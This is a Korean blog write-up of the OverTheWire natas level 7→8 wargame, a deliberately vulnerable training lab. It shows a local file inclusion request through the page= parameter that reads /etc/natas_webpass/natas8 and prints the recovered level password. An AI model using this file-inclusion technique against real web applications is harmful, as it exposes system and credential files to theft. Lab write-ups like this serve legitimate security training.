Home
About
정직한 안내가 나와있다.
두 페이지의 소스코드를 확인해 보았는데, 공통적으로 이런 힌트가 주석으로 달려있었다.
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
아무래도 저 경로를 들어가봐야 할 것 같다.
일단 원래 주소에 /etc/natas_webpass/natas8을 덧붙이면 not found가 뜨고, 다음과 같이 index페이지 주소 뒤에 덧붙이면 warning이 뜬다.
natas7.natas.labs.overthewire.org/index.php?page=home/etc/natas_webpass/natas8
home페이지라서 오류가 난 것 같다. home을 빼고 다시 입력해보았다.
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
비밀번호를 얻을 수 있었다!
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
'Over the Wire > natas' 카테고리의 다른 글
| [natas] level 8 → 9 (0) | 2021.05.09 |
|---|---|
| [natas] level 7 → 8 (0) | 2021.05.09 |
| [natas] level 5 → 6 (0) | 2021.04.10 |
| [natas] level 4 → 5 (0) | 2021.04.04 |
| [natas] level 3 → 4 (0) | 2021.04.02 |